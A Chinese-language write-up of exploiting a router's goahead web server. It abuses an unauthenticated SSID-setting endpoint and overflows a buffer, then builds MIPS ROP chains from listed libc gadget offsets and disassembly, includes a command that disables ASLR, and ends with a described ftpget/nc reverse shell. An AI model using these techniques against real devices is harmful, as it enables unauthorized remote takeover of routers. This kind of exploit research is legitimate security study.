路由器漏洞分析
问题出现在修改路由器ssid过程中由于对wlanssid 字段传入参数后的处理不严谨,导致溢出,外加/goform/set_wifi页面的未授权访问,从而可以通过远程缓冲区控制程序流程,获取shell
发送大量数据进行测试
可以看到goahead提示segmentation fault,上传gdbserver 进行动态调试测试
在mipsel中 通过./gdbserver 0.0.0.0:1234 /bin/goahead挂起程序,再在ubuntu中通过gdb-multiarch gohead启动goahead程序进行动态调试
再次发送payload测试,可以看到已经成功控制pc寄存器为maab,即填充148个字符即可覆盖pc寄存器
在正式利用之前,这里建议先关闭系统的aslr,以方便后续的调试
sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
方式1:控制程序执行shellcode
既然已经明确了我们所能控制的寄存器,就要确定我们的目标是什么,比如要实现某个功能,需要控制哪些寄存器,之后构造需要确定下一步的跳转寄存器
1.寻找gadget1执行sleep函数
由于在MIPS架构下,叶子函数的返回地址是直接放在 ra 寄存器中,而非叶子函数需要调用另外的函数,这里的差异就造成了我们在利用叶子函数溢出时,且需要把当前的返回地址暂时存放在栈上,而利用方式便是先通过控制sleep(nS)来更新codecache,之后才能正确执行栈上的代码。
因此先控制$a0=1,然后跳转执行sleep,控制$a0可以通过mipsrop来寻找gadget,这里用0x005512c
第一步构造如下,此时$s2为下一次跳转的地址,同时控制$t9与$pc指向“dasy”
(这里省略了通过pwndbg中的vmmap来确定libc的基地址过程…)
2.寻找gadget2,控制$ra寄存器 提前设置返回地址
但此时如果控制s2为sleep函数的话,当然可以执行sleep,但执行完后程序也就结束了,因此上面的gadget并不能直接用,我们需要另外寻找一个gadget,能够在执行sleep之前设置函数的返回地址,然后再执行sleep函数,结束后返回到我们之前设置的返回地址上面,进而进行下一次的利用
可以通过mipsrop.tails()来查找,这里使用$s1控制$t9来设置下一次跳转的地址,并同时设置$s0、$s1、$s2、$ra等几个寄存器
payload构造结构如下
即先控制程序跳转到gadget1处,并同时设置$s1\s2为sleep函数与gadget2的地址,在执行完gadget1设置$a0=1后,
在跳转到gadget2处,通过其中代码段控制$ra寄存器为“dddd”后执行sleep函数,当sleep函数执行完后,跳转到“dddd”处即$ra寄存器中
3.寻找gadget3,提前设置下下次跳转的地址,与gadget4配合
这一步起着承上启下的作用主要与gadget4配合,以确保我们的shellcode可以放到最后面同时设置gadget4要跳转到的地址,即$a1通过 mipsrop.stackfinder() 搜索gadget3,将上一步中的$ra中换为gadget3
4.寻找gadget4
然后通过mipsrop.find(“move $t9,$a1”) 来寻找我们需要的gadget4,放到第二步中$s0的位置。
5.放shellcode
最后我们放上shellcode测试,可以看到程序确实可以跳到shellcode上面,但pc的值为0x2806ffff,显然是需要我们来提供一个指针地址
因此将shellcode向后移,可以看到是成功执行完了shellcode的,但不清楚为什么没有一点反馈信息,直到最后的程序崩溃….
因此此路可能行不同,所以果断换路!
(这里非常迷惑,起初怀疑是shellcode的问题,也试过许多shellcode,包括pwntools中的shellcraft也不尽人意,希望有大师傅看到并了解的话,可以给我讲解一二)
方式2:利用libc中的函数构造rop
1.寻找命令执行函数
对于传统的pwn手来说,当然是首选libc中的system函数,但这里并没有….
之后尝试寻找exec系列函数或popen函数来利用
2.exec系列函数利用
execl("/bin/ls\x00","/bin/ls\x00",0);
这里先以execl为例演示,可以看到其函数所需有三个参数,对应寄存器也就是a0,a1,a2
而我们需要自由控制的参数也就只需要前两个就可以了
因此大概寻找gadgets的思路便是,控制a0、a1为栈上的地址,之后可以控制某值为0的寄存器mov到a2寄存器上
由于未保存之前的调试信息,且懒,所以直接放上最终的payload截图,针对其中的需要会对其11讲解
(1)首先就是寻找控制a0寄存器的gadgets1,同时我们要能确定赋完值后能跳到下一个gadgets中,这里选择0x34fcc
gadget1 = libc_base + 0x34fcc
# jalr $s1
# .text:00034FCC move $a0, $s3
# .text:00034FD0 move $t9, $s1
# .text:00034FD4 jalr $t9
即本次gadget的下一跳地址位置为payload中第53行,且设置的$a0参数为第55行,其中的值0x7fff63e0便是paylaod最后的“ls -l\x00”的地址
(2)接下来找控制$a1寄存器的gadgets2,并且能保证我们传给a1的值是在上一步中可以直接控制的
那么最合适的便是0xc7a8,而此次跳转所需要修改的参数则是第52行,将其修改为任意值即可,其次本次的下一跳地址,也就是也就是程序中的第51行,其实$ra寄存器的值可以是随便位置(根据gadgets的不同,只要自己能确定可控就可以)
gadget2 = libc_base + 0xc7a8
# .text:0000C7A8 move $a1, $s0
# .text:0000C7AC lw $v0, 0x98+var_18($sp)
# .text:0000C7B0
# .text:0000C7B0 loc_C7B0: # CODE XREF: fstatat+48↑j
# .text:0000C7B0 lw $ra, 0x98+var_4($sp)
# .text:0000C7B4
# .text:0000C7B4 loc_C7B4: # CODE XREF: fstatat:loc_C790↑j
# .text:0000C7B4 lw $s1, 0x98+var_8($sp)
# .text:0000C7B8 lw $s0, 0x98+var_C($sp)
# .text:0000C7BC jr $ra
(3)最后来寻找gadget3,控制程序调转到execl函数中,但是需要注意这条指令尽量选择通过$t9寄存器进行跳转到execl函数而不是ra寄存器,否则大概率错误会如下,蹦到错误的地址上去。而本次跳转后所需要修改的也就只有payload中的第54行即$s2寄存器的值,也就是我们的execl函数。其次第60行的$ra寄存器改不改无所谓。
gadget3 = libc_base + 0x3b468
# .text:0003B468 loc_3B468: # CODE XREF: xdr_rejected_reply+7C↑j
# .text:0003B468 move $t9, $s2
# .text:0003B46C lw $ra, 0x28+var_4($sp)
# .text:0003B470 lw $s2, 0x28+var_8($sp)
# .text:0003B474 lw $s1, 0x28+var_C($sp)
# .text:0003B478 lw $s0, 0x28+var_10($sp)
# .text:0003B47C jr $t9 ; xdr_u_long
2.popen函数利用
popen("echo 123>123","r");
由于只用修改两个参数的原因,所以大体上与execl函数的利用方法一致只需要主要r字符串的寻找,结尾处为\x00即可
3.结果
最后的最后不言而喻,都以命令执行失败而告终,但理论上是没问题的,失败原因同样令我费解
因为从gdb上来看,都是已经将execl或popen函数执行完了的,而且参数a0\a1\a2都没有任何问题,但就是咩有任何反馈信息….
另附上一张利用同等构造执行puts函数成功时的一个截图
方式3:终极方法,利用程序中的system…
在前两种方法都失败后 我突然意识到,既然可以将字符串放到payload的最后面从而避免\x00的截断。
那我将elf中的函数地址放到最后面岂不是同样可以正常执行,而需要执行的字符串,我只要通过其他方式存放到程序中,那不就可以正常执行调用了?
说干就干,既然利用程序中的system的话,我只需要能控制一个寄存器$a0就可以了,其次对gadgets的要求便是最后返回到的地址必须要处于payload的末尾处
因此我找了一个这么长的gadgets,即最后跳转到的是 0x58+var_4($sp) 处,再次放上system函数的地址便可以了
gadget1 = libc_base + 0x46460
# .text:00046460 move $a0, $s1
# .text:00046464
# .text:00046464 loc_46464: # CODE XREF: __read_etc_hosts_r+70↑j
# .text:00046464 # __read_etc_hosts_r+A8↑j ...
# .text:00046464 lw $ra, 0x58+var_4($sp)
# .text:00046468
# .text:00046468 loc_46468: # CODE XREF: __read_etc_hosts_r+244↑j
# .text:00046468 move $v0, $s2
# .text:0004646C lw $fp, 0x58+var_8($sp)
# .text:00046470 lw $s7, 0x58+var_C($sp)
# .text:00046474 lw $s6, 0x58+var_10($sp)
# .text:00046478 lw $s5, 0x58+var_14($sp)
# .text:0004647C lw $s4, 0x58+var_18($sp)
# .text:00046480 lw $s3, 0x58+var_1C($sp)
# .text:00046484 lw $s2, 0x58+var_20($sp)
# .text:00046488 lw $s1, 0x58+var_24($sp)
# .text:0004648C lw $s0, 0x58+var_28($sp)
# .text:00046490 jr $ra
接下来就是system参数的构造,也就是我们要执行命令的地址,字符串该写到哪里,经观察后发现才传过去的post请求中,cookie的值正好合适,且”user=admin“后便是空字符,所以我们只用在后面跟上命令,便可以轻易的在程序中去定其所在位置
最后开始构造payload,通过系统自带的ftpget下载完整的busybox,再通过完整版的busybox中的nc命令来连接在本地开启的8808端口,最最后成功反弹shell